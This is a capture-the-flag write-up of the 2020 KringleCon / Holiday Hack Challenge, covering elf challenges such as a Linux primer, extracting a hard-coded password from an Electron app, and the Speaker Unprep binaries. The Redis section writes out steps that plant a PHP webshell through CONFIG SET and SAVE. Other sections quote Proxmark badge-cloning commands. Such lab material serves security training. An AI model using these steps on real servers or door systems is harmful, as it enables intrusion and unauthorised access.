max: 248 (0.972549)
mean: 100.446 (0.393906)
standard deviation: 51.3816 (0.201496)
kurtosis: -1.03499
skewness: -0.00130481
entropy: 0.954821
Rendering intent: Perceptual
Gamma: 0.454545
Chromaticity:
red primary: (0.64,0.33)
green primary: (0.3,0.6)
blue primary: (0.15,0.06)
white point: (0.3127,0.329)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 3447x4648+0+0
Dispose: Undefined
Iterations: 0
Compression: JPEG
Quality: 99
Orientation: Undefined
Profiles:
Profile-app12: 15 bytes
Profile-exif: 22 bytes
Profile-xmp: 861 bytes
Properties:
date:create: 2021-01-04T10:19:30+00:00
date:modify: 2021-01-04T10:11:40+00:00
jpeg:colorspace: 2
jpeg:sampling-factor: 1x1,1x1,1x1
signature: c6828f6a519b8ce705ba101705537bef8ee294335b4996c837bcd22f32b41a62
Artifacts:
filename: santa_portrait.jpeg
verbose: true
Tainted: False
Filesize: 5.31643MiB
Number pixels: 16.0217M
Pixels per second: 31.4314MB
User time: 0.510u
Elapsed time: 0:01.509
Version: ImageMagick 6.9.11-24 Q16 x86_64 20200718 https://imagemagick.org
At this point, I figured I was going down a rabbit hole and decided to move on. There might be another hint later.
Conversation with Ginger Breddie and Piney Sappington
Since there are other elves in this area, I decide to first talk to them before leaving for the Santavator.
Ginger Breddie
is the next elf I interact with. He mentions that there are crazy things going on in floor One and a half.
The last elf to speak to in this room was Piney Sappington
. He informs me that Santa
has been behaving rather weirdly this time round.
- he cancelled projects and messed around with the infrastructure
- There is something wrong with him
Courtyard
I notice the green object lying at the corner on the floor. It turns out to be a green bulb from those big, old-school christmas lights.
Conversation with Bubble Ligtington & Jack Frost
I approach elf Bubble Ligtington
and he informs me that Santa has not been himself lately. Perhaps he is stressed.
Elf Jack Frost
mentions that the Potrait of Santa in the Foyer is magnificent.
Conversation with Sugarplum Mary
Elf Sugarplum Mary
is the last elf I approached in the courtyard. He tells me about the Linux Primer
challenge.
- It is a great intro to bash terminal Linux Primer
- When stuck, type
hintme
to get a nudge
Task 3: Linux Primer
Task: > The North Pole 🍭 Lollipop Maker: > > All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭’s will appear in the green bar below. Run the command "hintme" to > receive a hint.
- Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!
elf@fecca4622dbb:~$ ls
HELP munchkin_19315479765589239 workshop
- Now find the munchkin inside the munchkin.
elf@fecca4622dbb:~$ cat munchkin_19315479765589239
munchkin_24187022596776786
- Great, now remove the munchkin in your home directory.
elf@fecca4622dbb:~$ rm munchkin_19315479765589239
- Print the present working directory using a command.
elf@fecca4622dbb:~$ pwd
/home/elf
- Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!
elf@fecca4622dbb:~$ ls -lah
total 56K
drwxr-xr-x 1 elf elf 4.0K Jan 5 12:02 .
drwxr-xr-x 1 root root 4.0K Dec 10 18:14 ..
-rw-r--r-- 1 elf elf 31 Dec 10 18:18 .bash_history
-rw-r--r-- 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 elf elf 3.1K Dec 5 00:00 .bashrc
-rw-r--r-- 1 elf elf 0 Jan 5 12:02 .munchkin_5074624024543078
-rw-r--r-- 1 elf elf 807 Apr 4 2018 .profile
-rw-r--r-- 1 elf elf 168 Dec 5 00:00 HELP
drwxr-xr-x 1 elf elf 20K Dec 10 18:19 workshop
- Excellent, now find the munchkin in your command history.
elf@fecca4622dbb:~$ history | grep -i munchkin
1 echo munchkin_9394554126440791
3 find /munchkin -name munchkin
4 find munchkin_19315479765589239 -name munchkin
7 cat munchkin_19315479765589239
8 rm munchkin_19315479765589239
10 find /home/elf/ -name munchkin
13 history | grep -i munchkin
- Find the munchkin in your environment variables.
elf@fecca4622dbb:~$ env | grep -i munchkin
z_MUNCHKIN=munchkin_20249649541603754
SESSNAME=Munchkin Wrangler
- Next, head into the workshop.
elf@fecca4622dbb:~$ cd workshop/
elf@fecca4622dbb:~/workshop$
- A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.
elf@fecca4622dbb:~/workshop$ grep -iR munchkin .
./toolbox_191.txt:mUnChKin.4056180441832623
- A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.
elf@fecca4622dbb:~/workshop$ chmod +x lollipop_engine
elf@fecca4622dbb:~/workshop$ ./lollipop_engine
munchkin.898906189498077
- Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.
elf@fecca4622dbb:~/workshop$ cd electrical/
elf@fecca4622dbb:~/workshop/electrical$ mv blown_fuse0 fuse0
- Now, make a symbolic link (symlink) named fuse1 that points to fuse0
elf@fecca4622dbb:~/workshop/electrical$ ln -s fuse0 fuse1
- Make a copy of fuse1 named fuse2.
elf@fecca4622dbb:~/workshop/electrical$ cp fuse1 fuse2
- We need to make sure munchkins don’t come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.
elf@fecca4622dbb:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" >> fuse2
- Find the munchkin somewhere in /opt/munchkin_den.
elf@fecca4622dbb:~/workshop/electrical$ find /opt/munchkin_den -iname '*munchkin*'
/opt/munchkin_den
/opt/munchkin_den/apps/showcase/src/main/resources/mUnChKin.6253159819943018
- Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.
elf@fecca4622dbb:~/workshop/electrical$ find /opt/munchkin_den -user 'munchkin'
/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411
- Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.
elf@fecca4622dbb:~/workshop/electrical$ find /opt/munchkin_den -size +108k -size -110k
/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
- List running processes to find another munchkin.
elf@fecca4622dbb:~/workshop/electrical$ ps -aux | grep -i munchkin
elf 37970 0.6 0.0 84316 25960 pts/2 S+ 12:18 0:00 /usr/bin/python3 /14516_munchkin
elf 38991 0.0 0.0 13240 1052 pts/3 S+ 12:19 0:00 grep --color=auto -i munchkin
- The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.
elf@fecca4622dbb:~/workshop/electrical$ netstat -napt 14516_munchkin
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN 37970/python3
- The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.
elf@fecca4622dbb:~/workshop/electrical$ curl http://127.0.0.1:54321
munchkin.73180338045875elf@fecca4622dbb:~/workshop/electrical$
- Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.
elf@fecca4622dbb:~/workshop/electrical$ ps -aux | grep -i 14516_munchkin
elf 37970 0.0 0.0 160448 26600 pts/2 S+ 12:18 0:00 /usr/bin/python3 /14516_munchkin
elf 48274 0.0 0.0 13240 1072 pts/3 S+ 12:24 0:00 grep --color=auto -i 14516_munchkin
elf@fecca4622dbb:~/workshop/electrical$ kill 37970
Done. > Congratulations, you caught all the munchkins and retrieved all the lollipops! > > Type "exit" to close…
Once I solved the challenge that Sugarplum Mary
offered, the elf provided hints for the next Objective.
- Help getting into the Point-of-Sale Terminal
- It is asking for a password but he never set one.
- It’s possible to extract the source code from an Electron app.
- Provided a way to extract an ASAR from binary
The following hints were unlocked: Electron ASAR Extraction Tools Electron ASAR Extraction Guide Extract Source Code from Electron App
Objective 3: Point-of-Sale Password Recovery
Once I try to access the terminal, am greated with the following page that allows me to download the santa-shop.exe
file.
I try to inspect the file first.
badmin@lsv-u01:~/Downloads$ file santa-shop.exe
santa-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Let’s begin our installation process. The instructions here show that the module requires Node 10 meanding we need to install nodejs
and npm
on the kali linux server before we can install asar
.
sudo apt install nodejs npm
Next, we follow the quickstart guide here to install asar
on the machine.
$ sudo npm install -g asar
[sudo] password for badmin:
added 17 packages, and audited 18 packages in 2s
1 package is looking for funding
run `npm fund` for details
found 0 vulnerabilities
Now, following the instructions here we need to get the source code from the application santa-shop.exe
. First, let’s extract the asar file from the .exe
file.
$ 7z e santa-shop
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.utf8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz (906ED),ASM,AES-NI)
Scanning the drive for archives:
1 file, 49824644 bytes (48 MiB)
Extracting archive: santa-shop
--
Path = santa-shop
Type = Nsis
Physical Size = 49824644
Method = Deflate
Solid = -
Headers Size = 102546
Embedded Stub Size = 57856
SubType = NSIS-3 Unicode BadCmd=11
Everything is Ok
Files: 9
Size: 50033887
Compressed: 49824644
When we look at the folder contents, we do not see the .asar
files. We need to use the plugin here. The Asar7z plugin can be used with 7-Zip to open, modify, or create .asar archives, which are used for packaging applications based on the Electron framework.
$ ls
app-64.7z nsExec.dll nsis7z.dll nsProcess.dll santa-shop SpiderBanner.dll
StdUtils.dll System.dll 'Uninstall santa-shop.exe' WinShell.dll
We now have a new archive file app-64.7z
to unarchive.
$ 7z e app-64.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.utf8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz (906ED),ASM,AES-NI)
Scanning the drive for archives:
1 file, 49323645 bytes (48 MiB)
Extracting archive: app-64.7z
--
Path = app-64.7z
Type = 7z
Physical Size = 49323645
Headers Size = 1493
Method = LZMA2:20 LZMA:20 BCJ2
Solid = -
Blocks = 74
Would you like to replace the existing file:
Path: ./libEGL.dll
Size: 379904 bytes (371 KiB)
Modified: 2020-12-04 17:47:24
with the file from archive:
Path: swiftshader/libEGL.dll
Size: 400384 bytes (391 KiB)
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? Y
Would you like to replace the existing file:
Path: ./libGLESv2.dll
Size: 7863296 bytes (7679 KiB)
Modified: 2020-12-04 17:47:24
with the file from archive:
Path: swiftshader/libGLESv2.dll
Size: 3775488 bytes (3687 KiB)
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A
Everything is Ok
Folders: 3
Files: 74
Size: 163007029
Compressed: 49323645
After extraction, we have a bunch of files including the app.asar
that we need.
$ ls | grep -i asar
app.asar
Now, let’s sreate a directory to paste the content of app as per the instructions here
$ mkdir source-files
Then we need to unpack the app.asar
file in the above directory using asar
$ asar extract app.asar source-files/
$ cd source-files/
$ ls
img index.html main.js package.json preload.js README.md renderer.js style.css
Now that we have the source code, we can review it for password as seen below which is santapass
.
$ cat main.js | less
// Modules to control application life and create native browser window
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const SANTA_PASSWORD = 'santapass';
// TODO: Maybe get these from an API?
const products = [
{
name: 'Candy Cane',
price: 1.99,
Since we have the password, we can now solve the issue.
FLAG: santapass
Dining Room
Elf Ribb Bonbowford
awaits me in the Dining Room
.
Conversation with Ribb Bonbowford
The elf would like help with the challenge centered around JavaScript
- Try Extract only numbers from a given array
- Try use the filters
There are a couple of Hints
unlocked.
- In JavaScript you can enumerate an object’s keys using keys, and filter the array using filter. How to get a key in JavaScript
- There’s got to be a way to filter for specific typeof items in an array. Maybe the typeof operator could also be useful?
TypeOf
Filter
TypedArray.Filter()
- Did you try the JavaScript primer? There’s a great section on looping.
- Want to learn a useful language? JavaScript is a great place to start! You can also test out your code using a JavaScript playground.
JavaScript in 14 minutes
PlayCode.io
Task 4: The Elf Code
The task involved:
Munchkins have stolen all the lollipops from the North Pole and scattered them outside all of the entrances to KringleCon. Use your programming skills to collect all the lollipops and return to the entrance of KringleCon. Be on the lookout for munchkins or traps as they will cause you to have to start the level all over again!
Level 1
Task: Program the elf to the end goal in no more than 2 lines of code and no more than 2 elf commands.
elf.moveTo(lollipop[0]);
elf.moveUp(10)
Level 2
Task: Program the elf to the end goal in no more than 5 lines of code and no more than 5 elf command/function execution statements in your code.
elf.moveLeft(6);
elf.pull_lever(elf.get_lever(0) + 2);
elf.moveLeft(4);
elf.moveUp(10);
Level 3
Task: Pick up all of the lollipops! Program the elf to the end goal in no more than 4 lines of code and no more than 4 elf command/function execution statements in your code.
for (var i = 0; i < 3; i++) {
elf.moveTo(lollipop[i]);
}
elf.moveUp(1);
Level 4
Task: Program the elf to the end goal in no more than 7 lines of code and no more than 6 elf command/function execution statements in your code.
for (var i = 0; i < 3; i++) {
elf.moveLeft(1);
elf.moveUp(11);
elf.moveLeft(2);
elf.moveDown(11);
elf.moveLeft(2);
}
Level 5
Task: Program the elf to the end goal in no more than 10 lines of code and no more than 5 elf command/function execution statements in your code… Experiment with the elf.moveTo() function. You might be able to get two-in-one if you move to munchkin[0]. Click on the munchkin in the CURRENT LEVEL OBJECTS window to see the kind of answer the munchkin is looking for in this challenge.
for (var i = 0; i typeof elem === 'integer');
elf.moveTo(munchkin[0])
elf.tell_munch(answer);
elf.moveUp(3);
Level 6
Task: There are two paths here for you to choose. Choosing the lever may take more steps but might be easier to solve. Program the elf to the end goal in no more than 15 lines of code and no more than 7 elf command/function execution statements in your code.
for (var i = 0; i < 4; i++) {
elf.moveTo(lollipop[i]);
}
elf.moveTo(lever[0]);
var answer = elf.get_lever(0)
answer.unshift("munchkins rule");
elf.pull_lever(answer);
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(5)
There are 2 more levels for this but seeing that I am running against time, I opted to stop here for now and come back when I finish and if I have time.
Going back to Ribb Bonbowford
, he informs me that I could use JavaScript
and HTTP Manipulation
skills to bypass Santavatora’s S4.
Great Room
Conversation with Angel Candysalt
My next stop is the Great Room
. Elf Angel Candysalt
stands next to a Splunk
terminal. He tells me:
- He is worried about Santa who makes a "Bwahaha" laughter when he looks at his potrait
- I won’t be able to use the machine since it has tighl authentication controll using Biometrics
- Only Santa and a bunch of elves can login.
Kitchen
Conversation with Fitzy Shortstack
I walk over to Elf Fitzy Shortstack
who has the 33.6 Kbps Challenge
. He mentions that the modem is broken.
- All the lights in the castle are controlled remotely
- The colours are shuffled via dialup but the modem does not work
- He cannot remember the handshake sequence
- The phone number is 756-8347
- He provides an audio file Dialup Modem Noise
Task 5: 33.6 Kbps
For this challenge, we need to listen to the handshake sequence given, dial the number and respond to the tones in correct sequence.
- Dial the number
756-8347
- Enter
baa Dee brr
- Respond with
aaah
- Respond with
wewewwrwrrwrr
- Respond with
beDURRdunditty
- Finally dial
SCHHRRHHRTHRTR
After completing the challenge, the Elf tells me:
- Anytime we need to change the colour scheme, just pick up the phone and dial.
- Santa really seems to trust
Shiny Upatree
Conversation with Holly Evergreen
My next visit is to Elf Holly Evergreen
who is standing next to the Redis Bug Hunt
terminal. He tells me that he is working with the Redi-based terminal but:
- There seems to be a bug
- The maintenance port is available for curling
- check the source of the
index.php
and look for a bug - You can use the Remote Code Execution in Redis Guide
- He is close but gets mixed up between commas and plusses
Task 6: Redis Bug Hunt
On logging onto the console, I am welcommed by this banner.
We need your help!!
The server stopped working, all that's left is the maintenance port.
To access it, run:
curl http://localhost/maintenance.php
We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?
player@78ec6b93e2fa:~$
Accessing the maintenance page gives me example commands to run.
player@78ec6b93e2fa:~$ curl http://localhost/maintenance.php
ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1
I check the help page for usage information.
player@78ec6b93e2fa:~$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '' 'help'
redis-cli 5.0.3
To get help about Redis commands type:
"help @" to get a list of commands in
"help " for help on
"help " to get a list of possible help topics
"quit" to exit
To set redis-cli preferences:
":set hints" enable online hints
":set nohints" disable online hints
Set your preferences in ~/.redisclirc
From the hints given here, we see we can run the command config get *
to see config details. Here. we see that the password is R3disp@ss
.
player@78ec6b93e2fa:~$ curl http://localhost/maintenance.php?cmd=config,get,*
Running: redis-cli --raw -a '' 'config' 'get' '*'
dbfilename
dump.rdb
requirepass
R3disp@ss
masterauth
cluster-announce-ip
// TRUNCATED
dir
/
save
900 1 300 10 60 10000
Now that we know the password, I attempted resolving this using redis-cli
according to the webshell RCE link here but I could not get the output to display properly for me.
Method 1 – Failed
We set the parameters first.
player@051ddeb6b13d:~$ redis-cli --raw -a R3disp@ss config set dir /var/www/html
Warning: Using a password with '-a' or '-u' option on the command line interface may not b
e safe.
OK
player@051ddeb6b13d:~$ redis-cli --raw -a R3disp@ss config set dbfilename test.php
Warning: Using a password with '-a' or '-u' option on the command line interface may not b
e safe.
OK
player@051ddeb6b13d:~$ redis-cli --raw -a R3disp@ss set payload ""
Warning: Using a password with '-a' or '-u' option on the command line interface may not b
e safe.
OK
player@051ddeb6b13d:~$ redis-cli --raw -a R3disp@ss save
Warning: Using a password with '-a' or '-u' option on the command line interface may not b
e safe.
OK
Then attempt to access the via curl
. As you can see, the output of test does not work as expected.
player@051ddeb6b13d:~$ curl http://localhost/test.php?cmd=cat+index.php --output testfile
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 248 100 248 0 0 242k 0 --:--:-- --:--:-- --:--:-- 242k
player@051ddeb6b13d:~$ cat testfile
REDIS0009� redis-ver5.0.3�
�edis-bits�@�ctimeº��_used-mem��
aof-preamble��� payloadexample1The site is in maintenance modeexam
ple2#We think there's a bug in index.phptest�u��2yl
I could not understand why despite the help given. So resolved it using the maintenance page below.
Method 2 – Worked
We change the settings as below.
$ curl http://localhost/maintenance.php?cmd=CONFIG,SET,dir,/var/www/html
Running: redis-cli --raw -a '' 'CONFIG' 'SET' 'dir' '/var/www/html'
OK
player@051ddeb6b13d:~$ curl http://localhost/maintenance.php?cmd=CONFIG,SET,dbfilename,tes
t.php
Running: redis-cli --raw -a '' 'CONFIG' 'SET' 'dbfilename' 'test.php'
OK
player@051ddeb6b13d:~$ curl http://localhost/maintenance.php --data-urlencode "cmd=SET,PAY
LOAD,\"\""
Running: redis-cli --raw -a '' 'SET' 'PAYLOAD' '""'
OK
player@051ddeb6b13d:~$ curl http://localhost/maintenance.php?cmd=SAVE
Running: redis-cli --raw -a '' 'SAVE'
OK
Then attempt to access the page and it works.
player@051ddeb6b13d:~$ curl http://localhost/test.php?cmd=cat+index.php --output test2
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 748 100 748 0 0 146k 0 --:--:-- --:--:-- --:--:-- 182k
player@051ddeb6b13d:~$ cat test2
REDIS0009� redis-ver5.0.3�
�edis-bits�@�ctime¿��_used-mem�h?
aof-preamble��example1The site is in maintenance modepayload<? php system([cmd]; ?examp
le2#We think there's a bug in index.phpPAYLOAD "
"test<? php system([cmd];
Now that we got the bug, I returned to Holly Green
to get hints for follow up tasks. He had advise for the Broken Tag Generator
objective.
- Get the Code Source to figure out the problem with the Tag Generator.
- Figure out the path to the script
- Enumerating all endpoints is a good start to figuring out how an application functions.
- The
Content-Type
headers hinders the browsers more than it helps. - Find a way to execute the code blindly then redirect it to a file and read the file.
The specific hints were:
- Patience and Timing Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
- Content-Type Gotcha If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
- Source Code Analysis I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
- Redirect to Download If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
Santavator – Floor 2
Next stop is the Santavator Area
.
Objective 4: Operate the Santavator
From the earlier hints that I had gotten from Pepper Minstix
, we are to use a few objects to split, redirect and colour the Santavator sparkle stream (s4). We need to power the red, green and yellow with the right colour light.
Since I had a green bulb, my first allignement was with the colour green. I simply aligned the objects that I had so as to push the stream into the upper two nuts.
That unlocked the Second Level which Talks Lobby
.
Talks Lobby
On entry to the Talks Lobby
, I am presented with the Speaker’s Agenda detailing the available Talks.
I also notice the Red Bulb
at the corner and pick it up.
Conversation with Chimney Scissorsticks
Elf Chimney Scissorsticks
has a terminal next to him so I decide to speak to him first.
- Use the greeting card generator to create messages to share online.
- It’s based on the code used in the
Tag Generator
challenge in the wrapping room which is having issues. This one is OK.
Task 7: Greeting Cards
I navigate to the Greeting Cards Site and created a greeting’s card that I’ve used in the beginning of this writeup.
Since the elf mentioned that this code was similar to one used for a challenge, I saved the source just incase.
Conversation with Bow Ninecandle & Jack Frost
Next, I walk over to Elf Bow Ninecandle
. He mentions that Santa thought of another Marketing pitch for the North Pole called The Frostiest Place on Earth!
. I bet that is a useful hint to note down.
I walk over to the other end of the Lobby and speak with Elf Jack Frost
. He mentions that he is getting all kinds of ideas for different types of attacks from the talks.
- START HERE: Welcome and Tips by Ed Skoudis
- CAN Bus Can-Can by Chris Elgee
- Open S3 Buckets: Still a Problem in 2020 by Josh Wright
- Watch Adversary Emulation and Automation by Dave Herrald
- Working with the Official Naughty/Nice Blockchain by Qwerty Petabyte
- HID Card Hacking
- Random Facts about Mersenne Twisters by Tom Liston Python Code for MT19937 PRNGs
Conversation with Bushy Evergreen
The Last Elf in this area is Bushy Evergreen
who is trying to get the door open.
- It is running some
Rust Code
written by Alabaster Snowball - He is sure that the password he needed for the
./door
is right in the executable itself - He asks if there is a way to view the human readable strings in a binary file.
Task 8: Speaker Unprep
./door
The challenge is presented below:
Help us get into the Speaker Unpreparedness Room!
The door is controlled by ./door, but it needs a password! If you can figure
out the password, it'll open the door right up!
Oh, and if you have extra time, maybe you can turn on the lights with ./lights
activate the vending machines with ./vending-machines? Those are a little
trickier, they have configuration files, but it'd help us a lot!
(You can do one now and come back to do the others later if you want)
We copied edit-able versions of everything into the ./lab/ folder, in case you
want to try EDITING or REMOVING the configuration files to see how the binaries
react.
Note: These don't require low-level reverse engineering, so you can put away IDA
and Ghidra (unless you WANT to use them!)
elf@253eea5f50b2 ~ $
The following hints are unlocked.
- Strings in Binary Files The strings command is common in Linux and available in Windows as part of SysInternals.
I use the strings
command to view the human readable output.
elf@f5b80899a679 ~ $ strings door | grep -i pass
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password
We have located the password Op3nTheD00r
. We can now run the binary and enter the password when prompted.
elf@ebb0ecac2035 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!
With the challenge resolved, I go back and speak to Bush Evergreen
.
- There is another lock in the Castle
- Santa asked him to inform me to evaluate the security of the new HID Lock
- If you find yourself in possession of a Proxmark3, click it in the badge to interact with it.
- It is a slick device that can read other’s badges
- Help figure out the Light switch too. Those come in handly sometimes. The password we need is in the
Lights.conf
but it is encrypted - There is another instance of the program and conf in the ~/lab/ folder
The following hints are unlocked.
- What’s a Proxmark? The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events.
- Reading Badges with Proxmark
You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running
lf hid read
when you are close enough to someone with a badge. - Letting a Program Decrypt for You While you have to use the lights program in /home/elf/ to turn the lights on, you can delete parts in /home/elf/lab/
./lights
For the lights
challenge, let’s attempt to run the binary.
elf@c70dd3c6d89d ~ $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > ttt
name: elf-technician
Checking......
Beep boop invalid password
Notice that it asked for a password
for user elf-technician
. Let’s check the configuration file located in /home/elf/lab/
.
elf@c70dd3c6d89d ~ $ cd ./lab/
elf@c70dd3c6d89d ~/lab $ ls
door lights lights.conf vending-machines vending-machines.json
elf@c70dd3c6d89d ~/lab $ cat lights.conf
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician
The file has a password. Since the conf
file is at our disposal, we can easily modify that password to an easy password that we can type.
Just incase, let’s back up the config file and modify it. I changed it to password
.
elf@c70dd3c6d89d ~/lab $ cp lights.conf lights.conf.bak
elf@c70dd3c6d89d ~/lab $ vi lights.conf
password: password
name: elf-technician
Let’s test it in the lab folder.
elf@c70dd3c6d89d ~/lab $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > password
Checking......
That would have turned on the lights!
If you've figured out the real password, be sure you run /home/elf/lights
That worked, however, when we attempt to change the apssword in the prod
, the file cannot be altered. So that is not an option.
Let’s instead try and alter the fields so that the name is encrypted and the password is decrypted.
elf@b51d9e9922ae ~/lab $ vi lights.conf
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
password: elf-technician
Now, when we run this file, we are shown the decrypted password Computer-TurnLightsOn
which we can use in prod.
elf@b51d9e9922ae ~/lab $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, Computer-TurnLightsOn
What do you enter? > elf-technician
Checking......
That would have turned on the lights!
If you've figured out the real password, be sure you run /home/elf/lights
Let’s go back to the home directory and run the prod
lights program with the correct password.
elf@b51d9e9922ae ~ $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > Computer-TurnLightsOn
Checking......
Lights on!
elf@b51d9e9922ae ~ $
Whoop! We made it. I go back and talk to Bushy Evergreen
who mentions:
- Proxmark can simulate badges
- Lots of online references for that
- There’s a talk on this by Larry Pesce
- The vending machine is used by speakers
- Try deleting or renaming the config file and run it
- Set the password yourself to AAABBB or BBBBB
- If the encryption is simple code book or rotational ciphers, you’ll be able to roll back the original password.
A couple of hints opened up
- Short List of Essential Proxmark Commands
- Impersonating Badges with Proxmark:
You can also use a Proxmark to impersonate a badge to unlock a door, if the badge you impersonate has access.
lf hid sim -r 2006......
- Reading Badges with Proxmark
You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running
lf hid read
when you are close enough to someone with a badge. - Lookup Table For polyalphabetic ciphers, if you have control over inputs and visibilty of outputs, lookup tables can save the day.
./vending machine [TBD]
Let’s try simply run the challenge.
elf@6068a4264c27 ~ $ ./vending-machines
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code >
We see that it requires a code. There are some hints provided so let’s test that in the lab. The configuration file simply has the name and the password.
elf@6068a4264c27 ~ $ cd lab/
elf@6068a4264c27 ~/lab $ ls
door lights lights.conf vending-machines vending-machines.json
elf@6068a4264c27 ~/lab $ cat vending-machines.json
{
"name": "elf-maintenance",
"password": "LVEdQPpBwr"
Let’s rename the configuration file and then attempt to run the binary.
elf@6068a4264c27 ~/lab $ mv vending-machines.json vending-machines.json.bak
elf@6068a4264c27 ~/lab $ ./vending-machines
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/lab/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
ALERT! ALERT! Configuration file is missing! New Configuration File Creator Activated!
Please enter the name > test
Please enter the password > BBBBBB
Welcome, test! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > test
Checking......
Beep boop invalid password
A new configuration file is generated. As suggested by the Elf, I set the password to BBBBBB
and we see that it has been encrypted to DqTpKv
.
elf@6068a4264c27 ~/lab $ ls
door lights.conf vending-machines.json
lights vending-machines vending-machines.json.bak
elf@6068a4264c27 ~/lab $ cat vending-machines.json
{
"name": "test",
"password": "DqTpKv"
}
We see that the same letter is encrypted with different letters. From the hints given, the method seems to be a polyalphabetic cipher.
I figured I had no idea how to solve the last part so will get back to it later.
Speaker UNPreparedness Room
I walk into the Speaker Unpreparedness Room
and right next to the entrance lies the Elevator 1.5 Button
.
Conversation with Morcel Nougat
Elf Morcel Nougat
tells me that he loves meeting the speakers. He insists that he wasn’t scared.
Conversation with Tangle Coalbox
Elf Tangle Coalbox
is standing next to the Snowball Game
Machine. I walk over and speak to him.
